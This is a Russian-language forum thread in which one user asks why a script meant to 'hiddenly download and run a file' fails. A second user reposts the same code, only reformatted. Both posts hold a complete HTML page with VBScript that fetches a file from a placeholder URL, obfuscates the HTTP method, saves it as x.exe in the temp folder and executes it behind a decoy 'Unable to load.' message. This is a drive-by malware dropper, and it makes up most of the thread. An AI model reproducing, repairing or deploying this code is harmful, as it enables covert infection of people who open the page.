ReSQL.ru
     
powered by simpleCommunicator - 2.0.61     © 2026 Programmizd 02
Мобильная версия    Контакт    Правила    FAQ    Помощь
Целевая тема:
Создать новую тему:
Автор:
Закрыть
Цитировать
Доб. в избранное | Игнор. тему | Прикреп. тему | Пометить прочит. / непрочит. | Фильтр
Форумы / HTML, JavaScript, VBScript, CSS [игнор отключен] [закрыт для гостей] / Не работает скрипт(
2 сообщений из 2, страница 1 из 1
Не работает скрипт(
    #39079682
oxotnika
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
oxotnika
Участник
Народ подскажите почему не срабатывает скрипт? По идее должно быть скрытое скачивание файла и его запуск.
Код:
<html>
<body>
<script type="text/vbscript">
Function SimpleBinaryToString(Binary)
Dim I, S
For I = 1 To LenB(Binary)
S = S & Chr(AscB(MidB(Binary, I, 1)))
Next
SimpleBinaryToString = S
End Function

Sub dl(url, dst)
dim xmlhttp: Set xmlhttp = CreateObject("MSXML2.ServerXMLHTTP")
dim method: method = Chr(71) & Chr(69) & Chr(84)
xmlhttp.Open method, url, False
xmlhttp.Send
Dim i, objFile
Set objFile = CreateObject("Scripting.FileSystemObject").OpenTextFile( dst, 2, True )
objFile.WriteLine(SimpleBinaryToString(xmlhttp.ResponseBody))
objFile.Close()
set xmlhttp = nothing
set objFile = nothing
End Sub
dim dst: dst = CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) & "\x.exe"
dim url
url = "URLTOFILE"
dl url, dst
CreateObject("WScript.Shell").Run dst
</script>
<p>Unable to load.</p>
</body>
</html>
...
Рейтинг: 0 / 0
19.10.2015, 08:36
| Ответить | Цитировать | Написать  
Не работает скрипт(
    #39079689
Фотография skyANA
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
skyANA
Участник
Как мне оформить свое сообщение?

Код: html
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
<html>
<body>
  <script type="text/vbscript">
    Function SimpleBinaryToString(Binary)
      Dim I, S
      For I = 1 To LenB(Binary)
        S = S & Chr(AscB(MidB(Binary, I, 1)))
      Next
      SimpleBinaryToString = S
    End Function

    Sub dl(url, dst)
      dim xmlhttp: Set xmlhttp = CreateObject("MSXML2.ServerXMLHTTP")
      dim method: method = Chr(71) & Chr(69) & Chr(84)
      xmlhttp.Open method, url, False
      xmlhttp.Send
      Dim i, objFile
      Set objFile = CreateObject("Scripting.FileSystemObject").OpenTextFile( dst, 2, True )
      objFile.WriteLine(SimpleBinaryToString(xmlhttp.ResponseBody))
      objFile.Close()
      set xmlhttp = nothing
      set objFile = nothing
    End Sub
    dim dst: dst = CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) & "\x.exe"
    dim url
    url = "URLTOFILE"
    dl url, dst
    CreateObject("WScript.Shell").Run dst
  </script>
  <p>Unable to load.</p>
</body>
</html>
...
Рейтинг: 0 / 0
19.10.2015, 08:50
| Ответить | Цитировать | Написать  
2 сообщений из 2, страница 1 из 1
Форумы / HTML, JavaScript, VBScript, CSS [игнор отключен] [закрыт для гостей] / Не работает скрипт(
Найденые пользователи ...
Разблокировать пользователей ...
Читали тему (0):
Читали форум (0):
Пользователи онлайн (0):
Польз. соглашение   Полит. конфиден.  
NoSQL.ru       Кролег: Проекты, Новости, Чат       РЕД ФОРУМ       Фотоальбом: Участники, Встречи
Закрыть
start [/forum/topic.php?fid=22&msg=39079689&tid=1445691]:
 0ms
get settings:
 7ms
get forum list:
 14ms
check forum access:
 3ms
check topic access:
 3ms
track hit:
 154ms
get topic data:
 8ms
get forum data:
 2ms
get page messages:
 27ms
get tp. blocked users:
 1ms
others: 217ms
total:  436ms
созд. / загр.: 436ms
x
x
Закрыть


Просмотр
0 / 0
Close
Debug Console [Select Text]